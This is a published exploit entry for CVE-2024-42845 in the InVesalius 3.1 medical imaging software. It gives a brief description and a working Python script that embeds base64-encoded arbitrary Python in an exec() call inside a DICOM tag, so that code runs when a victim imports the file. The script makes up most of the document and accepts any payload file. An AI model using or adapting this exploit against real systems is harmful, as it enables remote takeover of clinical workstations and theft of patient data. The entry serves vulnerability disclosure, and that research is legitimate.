1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 |
# Exploit Title: Invesalius 3.1 - Remote Code Execution (RCE) # Discovered By: Alessio Romano (sfoffo), Riccardo Degli Esposti (partywave) # Exploit Author: Alessio Romano (sfoffo), Riccardo Degli Esposti #(partywave) # Date: 23/08/2024 # Vendor Homepage: https://invesalius.github.io/ # Software Link: #https://github.com/invesalius/invesalius3/tree/master/invesalius # Version: 3.1.99991 to 3.1.99998 # Tested on: Windows # CVE: CVE-2024-42845 # External References: #https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-42845, #https://github.com/partywavesec/invesalius3_vulnerabilities/tree/main/CVE-2024-42845, #https://www.partywave.site/show/research/Tic%20TAC%20-%20Beware%20of%20your%20scan # Description: #---------------- # #A Remote Code Execution (RCE) vulnerability exists in the DICOM file import #procedure in Invesalius3. This vulnerability afflicts all versions from #3.1.99991 to 3.1.99998. The exploitation steps of this vulnerability #involve the use of a crafted DICOM file which, once imported inside the #victim's client application allows an attacker to gain remote code #execution over the victim's machine. # Script: #---------------- # ### # The script below creates a specifically crafted DICOM payload for #CVE-2024-42845. Remote Code Execution is gained once the DICOM file is #imported inside the victim's client application. ### import pydicom import base64 import argparse pydicom.config.settings.reading_validation_mode = pydicom.config.IGNORE def encode_payload(plain_payload): data = open(plain_payload, 'rb').read() return f"exec(__import__('base64').b64decode({base64.b64encode(data)})" def prepare_dicom_payload(dicom_file_path, payload): try: dicom_data = pydicom.dcmread(dicom_file_path) values = dicom_data[0x0020, 0x0032].value mal = [str(i) for i in values] mal.append(encode_payload(payload)) except pydicom.errors.InvalidDicomError: print("The file is not a valid DICOM file.") except Exception as e: print(f"An error occurred: {e}") return mal def modify_dicom_field(dicom_file_path, malicious_tag, outfile, sign): try: dicom_dataset = pydicom.dcmread(dicom_file_path) if sign: dicom_dataset.Manufacturer = "Malicious DICOM file creator" dicom_dataset.InstitutionName = "Malicious DICOM file institution" elem =pydicom.dataelem.DataElement(0x00200032, 'CS', malicious_tag) dicom_dataset[0x00200032] = elem print(dicom_dataset) dicom_dataset.save_as(outfile) except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='Read a DICOM file.') parser.add_argument('--dicom', required=True, help='Path to the input DICOM file') parser.add_argument('--outfile', required=True, help='Path to the output DICOM file') parser.add_argument('--payload', required=False, default=b"print('Test')", help='File that contains the malicious plain python3 code') parser.add_argument('--signature', required=False, default=True) args = parser.parse_args() dicom_infile_path = args.dicom dicom_outfile_path = args.outfile print(args.signature) tmp_tag = prepare_dicom_payload(dicom_infile_path, payload=args.payload) if tmp_tag: malicious_tag = '\\'.join(tmp_tag) modify_dicom_field(dicom_infile_path, malicious_tag, dicom_outfile_path, sign=args.signature) exit(0) else: exit(1) |